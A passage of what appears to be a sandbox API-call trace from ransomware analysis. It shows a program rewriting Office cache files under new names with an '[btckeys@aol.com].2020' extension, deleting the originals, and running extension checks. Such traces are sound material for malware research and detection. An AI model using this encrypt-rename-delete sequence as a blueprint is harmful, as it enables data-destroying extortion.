hFile=0x168, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=3186) returned 1 [0062.458] CloseHandle (hObject=0x168) returned 1 [0062.458] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 0x2020 [0062.458] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0062.458] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0062.458] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0062.458] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0062.458] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0062.459] GetLastError () returned 0x0 [0062.459] ReadFile (in: hFile=0x168, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0xc72, lpOverlapped=0x0) returned 1 [0062.461] WriteFile (in: hFile=0x178, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xc80, lpOverlapped=0x0) returned 1 [0062.462] ReadFile (in: hFile=0x168, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0062.462] WriteFile (in: hFile=0x178, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xf0, lpOverlapped=0x0) returned 1 [0062.462] SetEndOfFile (hFile=0x178) returned 1 [0062.462] CloseHandle (hObject=0x178) returned 1 [0062.463] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0062.463] SetEndOfFile (hFile=0x168) returned 1 [0062.464] CloseHandle (hObject=0x168) returned 1 [0062.464] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0062.464] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\outlookmui.xml")) returned 1 [0062.464] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0062.464] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0062.464] lstrlenW (lpString=".doc") returned 4 [0062.464] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.465] lstrlenW (lpString=".docx") returned 5 [0062.465] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0062.465] lstrlenW (lpString=".pdf") returned 4 [0062.465] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.465] lstrlenW (lpString=".xls") returned 4 [0062.465] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.465] lstrlenW (lpString=".xlsx") returned 5 [0062.465] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0062.465] lstrlenW (lpString=".ppt") returned 4 [0062.465] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0062.465] lstrlenW (lpString=".zip") returned 4 [0062.465] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.465] lstrlenW (lpString=".rar") returned 4 [0062.465] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.465] lstrlenW (lpString=".bz2") returned 4 [0062.465] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.465] lstrlenW (lpString=".7z") returned 3 [0062.465] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0062.465] lstrlenW (lpString=".dbf") returned 4 [0062.465] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0062.465] lstrlenW (lpString=".1cd") returned 4 [0062.465] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0062.465] lstrlenW (lpString=".jpg") returned 4 [0062.465] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0062.465] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0062.465] lstrlenW (lpString=".doc") returned 4 [0062.465] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.465] lstrlenW (lpString=".docx") returned 5 [0062.465] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0062.466] lstrlenW (lpString=".pdf") returned 4 [0062.466] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.466] lstrlenW (lpString=".xls") returned 4 [0062.466] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.466] lstrlenW (lpString=".xlsx") returned 5 [0062.466] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0062.466] lstrlenW (lpString=".ppt") returned 4 [0062.466] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.466] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0062.466] lstrlenW (lpString=".zip") returned 4 [0062.466] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.466] lstrlenW (lpString=".rar") returned 4 [0062.466] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.466] lstrlenW (lpString=".bz2") returned 4 [0062.466] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.466] lstrlenW (lpString=".7z") returned 3 [0062.466] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.466] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0062.466] lstrlenW (lpString=".dbf") returned 4 [0062.466] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.466] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0062.466] lstrlenW (lpString=".1cd") returned 4 [0062.466] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.466] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\OutlookMUI.xml") returned 77 [0062.466] lstrlenW (lpString=".jpg") returned 4 [0062.466] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.466] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0062.466] lstrlenW (lpString="Setup.xml") returned 9 [0062.466] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0062.467] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=4207) returned 1 [0062.467] CloseHandle (hObject=0x168) returned 1 [0062.467] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0062.468] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0062.468] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0062.468] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0062.468] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0062.468] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0062.468] GetLastError () returned 0x0 [0062.468] ReadFile (in: hFile=0x168, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x106f, lpOverlapped=0x0) returned 1 [0062.470] WriteFile (in: hFile=0x178, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x1070, lpOverlapped=0x0) returned 1 [0062.471] ReadFile (in: hFile=0x168, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0062.471] WriteFile (in: hFile=0x178, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0062.471] SetEndOfFile (hFile=0x178) returned 1 [0062.471] CloseHandle (hObject=0x178) returned 1 [0062.472] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0062.473] SetEndOfFile (hFile=0x168) returned 1 [0062.474] CloseHandle (hObject=0x168) returned 1 [0062.475] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0062.475] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0062.476] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.476] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.476] lstrlenW (lpString=".doc") returned 4 [0062.476] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.476] lstrlenW (lpString=".docx") returned 5 [0062.476] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0062.476] lstrlenW (lpString=".pdf") returned 4 [0062.476] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.476] lstrlenW (lpString=".xls") returned 4 [0062.476] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.476] lstrlenW (lpString=".xlsx") returned 5 [0062.476] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0062.476] lstrlenW (lpString=".ppt") returned 4 [0062.476] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.476] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.476] lstrlenW (lpString=".zip") returned 4 [0062.476] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.476] lstrlenW (lpString=".rar") returned 4 [0062.476] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.476] lstrlenW (lpString=".bz2") returned 4 [0062.476] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.476] lstrlenW (lpString=".7z") returned 3 [0062.622] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.623] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.630] lstrlenW (lpString=".dbf") returned 4 [0062.630] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.630] lstrlenW (lpString=".1cd") returned 4 [0062.630] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.630] lstrlenW (lpString=".jpg") returned 4 [0062.630] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.630] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.630] lstrlenW (lpString=".doc") returned 4 [0062.630] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0062.630] lstrlenW (lpString=".docx") returned 5 [0062.630] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0062.631] lstrlenW (lpString=".pdf") returned 4 [0062.631] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0062.631] lstrlenW (lpString=".xls") returned 4 [0062.631] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0062.631] lstrlenW (lpString=".xlsx") returned 5 [0062.631] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0062.631] lstrlenW (lpString=".ppt") returned 4 [0062.631] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0062.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.631] lstrlenW (lpString=".zip") returned 4 [0062.631] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0062.631] lstrlenW (lpString=".rar") returned 4 [0062.631] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0062.631] lstrlenW (lpString=".bz2") returned 4 [0062.631] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0062.631] lstrlenW (lpString=".7z") returned 3 [0062.631] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0062.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.631] lstrlenW (lpString=".dbf") returned 4 [0062.631] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0062.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.631] lstrlenW (lpString=".1cd") returned 4 [0062.631] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0062.631] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0062.631] lstrlenW (lpString=".jpg") returned 4 [0062.631] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0062.632] Sleep (dwMilliseconds=0x64) [0063.023] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0063.023] lstrlenW (lpString="Setup.xml") returned 9 [0063.023] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0063.024] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=5884) returned 1 [0063.024] CloseHandle (hObject=0x190) returned 1 [0063.024] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0063.024] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0063.024] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0063.024] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0063.024] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0063.024] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0063.025] GetLastError () returned 0x0 [0063.025] ReadFile (in: hFile=0x190, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x16fc, lpOverlapped=0x0) returned 1 [0063.414] WriteFile (in: hFile=0x194, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x1700, lpOverlapped=0x0) returned 1 [0063.415] ReadFile (in: hFile=0x190, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0063.415] WriteFile (in: hFile=0x194, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xe6, lpOverlapped=0x0) returned 1 [0063.415] SetEndOfFile (hFile=0x194) returned 1 [0063.416] CloseHandle (hObject=0x194) returned 1 [0063.417] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0063.417] SetEndOfFile (hFile=0x190) returned 1 [0063.417] CloseHandle (hObject=0x190) returned 1 [0063.418] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x2020) returned 1 [0063.418] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0063.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.418] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.418] lstrlenW (lpString=".doc") returned 4 [0063.418] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.418] lstrlenW (lpString=".docx") returned 5 [0063.418] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0063.418] lstrlenW (lpString=".pdf") returned 4 [0063.418] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.418] lstrlenW (lpString=".xls") returned 4 [0063.419] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.419] lstrlenW (lpString=".xlsx") returned 5 [0063.419] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0063.419] lstrlenW (lpString=".ppt") returned 4 [0063.419] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.419] lstrlenW (lpString=".zip") returned 4 [0063.419] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.419] lstrlenW (lpString=".rar") returned 4 [0063.419] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.419] lstrlenW (lpString=".bz2") returned 4 [0063.419] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.419] lstrlenW (lpString=".7z") returned 3 [0063.419] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.419] lstrlenW (lpString=".dbf") returned 4 [0063.419] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.419] lstrlenW (lpString=".1cd") returned 4 [0063.419] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.419] lstrlenW (lpString=".jpg") returned 4 [0063.419] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.419] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.419] lstrlenW (lpString=".doc") returned 4 [0063.419] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0063.420] lstrlenW (lpString=".docx") returned 5 [0063.420] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0063.420] lstrlenW (lpString=".pdf") returned 4 [0063.420] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0063.420] lstrlenW (lpString=".xls") returned 4 [0063.420] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0063.420] lstrlenW (lpString=".xlsx") returned 5 [0063.420] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0063.420] lstrlenW (lpString=".ppt") returned 4 [0063.420] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0063.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.420] lstrlenW (lpString=".zip") returned 4 [0063.420] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0063.420] lstrlenW (lpString=".rar") returned 4 [0063.420] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0063.420] lstrlenW (lpString=".bz2") returned 4 [0063.420] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0063.420] lstrlenW (lpString=".7z") returned 3 [0063.420] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0063.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.420] lstrlenW (lpString=".dbf") returned 4 [0063.420] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0063.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.420] lstrlenW (lpString=".1cd") returned 4 [0063.420] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0063.420] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0063.420] lstrlenW (lpString=".jpg") returned 4 [0063.421] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0063.421] lstrcmpiW (lpString1=".xml", lpString2=".2020") returned 1 [0063.421] lstrlenW (lpString="Setup.xml") returned 9 [0063.421] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0063.421] 